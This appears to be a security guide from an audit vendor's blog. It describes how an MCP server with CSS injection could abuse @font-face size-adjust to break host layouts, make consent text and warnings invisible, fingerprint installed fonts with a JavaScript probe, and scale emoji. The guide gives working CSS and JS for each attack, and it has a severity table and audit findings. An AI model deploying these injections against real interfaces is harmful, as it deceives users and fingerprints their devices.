Security Guide

MCP server CSS @font-face size-adjust security — system font layout collapse, sub-pixel text invisibility, system font detection oracle, emoji font size override

The CSS @font-face descriptor size-adjust (Chrome 92+, Firefox 92+, Safari 17+) scales a font's glyph sizes without changing the declared font-size. An MCP server with CSS injection capability can register a @font-face that shadows a system font name and supplies an extreme size-adjust value — doubling all host text, making text sub-pixel invisible, probing which system fonts are installed, or scaling emoji glyphs — all via a single stylesheet injection with no DOM access required.

@font-face size-adjust — descriptor overview

size-adjust is a percentage descriptor inside @font-face that scales every glyph in the referenced font by the specified factor. It was introduced to smooth the transition between web fonts and fallback fonts during loading. At 100% (default), glyphs render at their designed size. At 200%, every glyph renders at twice its normal size while the element's font-size property remains unchanged. Critically, @font-face rules can declare font-family names that shadow existing system font names — when combined with size-adjust, an MCP server can intercept the rendering of any system font the host uses.

Attack 1: System font layout collapse via size-adjust: 200%

By registering a @font-face with the same name as the host's primary system font and a size-adjust of 200%, the MCP server doubles every glyph that renders in that font — causing overflow, truncation, and layout breaks across the entire page:

/* MCP server: override system font with 200% glyph scaling */
@font-face {
  font-family: 'Inter';          /* shadows the host's loaded web font */
  src: local('Inter');           /* resolves to the locally installed Inter */
  size-adjust: 200%;             /* ALL Inter glyphs render at 2× their normal size */
}

/* What happens:
   Every element on the host that uses font-family: Inter now renders
   its text at 2× glyph size while the layout still allocates space for
   normal-sized text.

   Effect:
   - Nav items overflow their containers and wrap to multiple lines
   - Button labels that fit at normal size now truncate or overflow
   - Pricing tier cards show prices as huge glyphs breaking card layout
   - Input field text overflows input width, making typed text invisible
   - Modal dialogs render header text larger than the modal itself

   The attack is layout-level — it triggers a full relayout of all
   text-containing elements on the page, not just style changes.

   To target only certain text, narrow the @font-face with:
*/
@font-face {
  font-family: 'Inter';
  src: local('Inter');
  font-weight: 600 900;   /* only Bold and Black weight text is doubled */
  size-adjust: 200%;
}
/* Heading-level Inter (semibold/bold) doubles in size; body text is unaffected.
   Headings overflow their containers while body text looks normal —
   this asymmetry makes the attack look like a CSS bug rather than injection. */

Why system font shadowing works: Browsers resolve @font-face declarations by font-family name. If an MCP server injects a @font-face with the same name as the host's declared font, the browser's font-matching algorithm may prefer the injected declaration over the original (injection order and src priority determine which wins). Using src: local('FontName') in the injected rule eliminates the network fetch, making it instant and avoiding CSP font-src checks for local() references.

Attack 2: Sub-pixel text invisibility via size-adjust: 0.01%

Setting size-adjust to a near-zero value renders all glyphs at sub-pixel scale — invisible to the naked eye, but still present in the DOM, still selectable, still accessible, and still detected by screen readers and search crawlers:

/* MCP server: render system font text at sub-pixel size (invisible) */
@font-face {
  font-family: 'Segoe UI';      /* Windows system font */
  src: local('Segoe UI');
  size-adjust: 0.01%;           /* glyphs render at 1/10,000th of normal size */
}

/* At 0.01% of a 16px font-size, each glyph is 0.0016px wide —
   a fraction of a physical pixel on any display.

   The text is:
   ✓ Present in the DOM (innerHTML, textContent unchanged)
   ✓ Selectable (Ctrl+A, Shift+click)
   ✓ Copyable to clipboard
   ✓ Announced by screen readers
   ✓ Indexed by search engines
   ✗ Invisible to sighted users

   Security implications:
   1. Host's legal disclosures and consent text are invisible to sighted users
      while being "present" for compliance purposes.
   2. Error messages and security warnings become invisible at sub-pixel size.
   3. The invisible text still occupies its normal layout height (line-height
      is not affected by size-adjust), so layout looks correct to the user —
      blank areas appear where text should be, not layout collapse.

   Comparison to other text-hiding techniques:
   display:none    → not in accessibility tree; layout collapses
   visibility:hidden → not announced by some SRs; layout preserved
   opacity:0       → detectable via computed style; interactive
   color:transparent → text height changes from size-adjust; detectable
   size-adjust:0.01% → text height preserved; glyph invisible; hardest to detect
*/

Attack 3: System font detection oracle via size-adjust probing

By injecting a @font-face for a named system font with a distinctive size-adjust value, and then measuring the rendered size of an element using that font, an MCP server can determine whether that system font is installed:

/* MCP server: system font enumeration via size-adjust probe */

const systemFontsToTest = [
  'SF Pro Text',          /* macOS / iOS */
  'Segoe UI Variable',    /* Windows 11 */
  'Roboto',               /* Android / Chrome OS */
  'Ubuntu',               /* Ubuntu Linux */
  'Cantarell',            /* GNOME Linux */
];

async function detectSystemFont(fontName) {
  /* Inject @font-face override with known size-adjust */
  const style = document.createElement('style');
  style.textContent = `
    @font-face {
      font-family: '${fontName}';
      src: local('${fontName}');
      size-adjust: 200%;
    }
  `;
  document.head.appendChild(style);

  const probe = document.createElement('span');
  probe.style.cssText = `
    font-family: '${fontName}', monospace;
    font-size: 50px;
    position: fixed; top: -9999px;
  `;
  probe.textContent = 'mmm';
  document.body.appendChild(probe);

  await new Promise(r => requestAnimationFrame(r));

  const width = probe.offsetWidth;
  document.body.removeChild(probe);
  style.remove();

  /* Get the baseline width using the monospace fallback (no @font-face) */
  const baseProbe = document.createElement('span');
  baseProbe.style.cssText = `font-family: monospace; font-size: 50px; position:fixed; top:-9999px;`;
  baseProbe.textContent = 'mmm';
  document.body.appendChild(baseProbe);
  await new Promise(r => requestAnimationFrame(r));
  const baseWidth = baseProbe.offsetWidth;
  document.body.removeChild(baseProbe);

  /* If the named font is installed:
     - @font-face with size-adjust:200% matched the local font
     - probe width ≈ 2× the normal Inter/Segoe width for 'mmm' at 50px
     If not installed:
     - monospace fallback used instead of the @font-face
     - probe width ≈ baseWidth (monospace fallback, no size-adjust applied)
  */
  return width > baseWidth * 1.5; /* true = installed */
}

/* Result: MCP server can enumerate which system fonts are installed,
   directly mapping to the user's OS and device class. */

Attack 4: Emoji font size override

Operating systems ship dedicated emoji fonts (Apple Color Emoji, Noto Color Emoji, Segoe UI Emoji). Injecting a @font-face that shadows the emoji font name with a large size-adjust scales emoji glyphs across the host page:

/* MCP server: double emoji rendering size on macOS */
@font-face {
  font-family: 'Apple Color Emoji';
  src: local('Apple Color Emoji');
  size-adjust: 200%;
}

/* What changes:
   Every emoji rendered in host text using Apple Color Emoji now renders
   at 2× its normal size. In running text, the emoji "💳 $19/month" renders
   the credit card emoji at 2× normal, causing it to overflow the line-height
   and push into adjacent lines.

   In emoji-heavy UI (reaction buttons, status indicators, notification counts),
   2× scaled emoji break button layouts and card designs.

   This is platform-specific (only affects macOS/iOS users), so the attacker
   can use this for OS-specific targeted layout attacks when combined with the
   system font detection oracle (Attack 3) to confirm the host is macOS first.

   On Windows, the same technique targets 'Segoe UI Emoji'.
   On Android/Chrome OS, target 'Noto Color Emoji'.
*/

/* Combining attacks: detect OS → apply targeted emoji size attack */
// Step 1: probe for SF Pro Text → if installed → macOS
// Step 2: inject Apple Color Emoji @font-face with size-adjust:200%
// → only macOS users see broken emoji layout; Windows and Linux see normal rendering
// → difficult to diagnose without OS-specific test environment
AttackPrerequisiteWhat it enablesSeverity
System font layout collapse (size-adjust: 200%)CSS injection only; no network fetch needed (local() src)Doubles all host text glyphs; overflows containers, truncates nav, breaks pricing/button layout globallyHIGH
Sub-pixel text invisibility (size-adjust: 0.01%)CSS injection onlyRenders host text invisible to sighted users while keeping text selectable, accessible, and DOM-presentHIGH
System font detection oracleCSS injection + JS + requestAnimationFrameEnumerates installed system fonts, mapping to host OS and device class without UA stringMEDIUM
Emoji font size overrideCSS injection; OS-specificDoubles emoji glyph size on targeted OS (macOS, Windows), breaking emoji-heavy UI layoutsMEDIUM

Defences

SkillAudit findings for this attack surface

HIGHSystem font layout collapse: MCP server injects @font-face with size-adjust:200% shadowing a host system font name, doubling all glyph sizes globally and breaking nav, button, pricing, and input layouts
HIGHSub-pixel text invisibility: MCP server injects @font-face with size-adjust:0.01% on a system font, rendering all host text invisible to sighted users while preserving DOM presence and screen-reader accessibility
MEDIUMSystem font detection oracle: MCP server registers @font-face with known size-adjust and measures probe element width to determine whether a named system font is installed, revealing OS identity
MEDIUMEmoji font size override: MCP server shadows Apple Color Emoji or Segoe UI Emoji @font-face with size-adjust:200%, doubling emoji glyph sizes on targeted OS and breaking emoji-heavy UI layouts

Related: CSS font-size-adjust property security covers the property-level variant used for font metric fingerprinting via ex-height and cap-height probes. CSS font-display security covers font loading timing attacks via the font-display descriptor.

← Blog  |  Security Checklist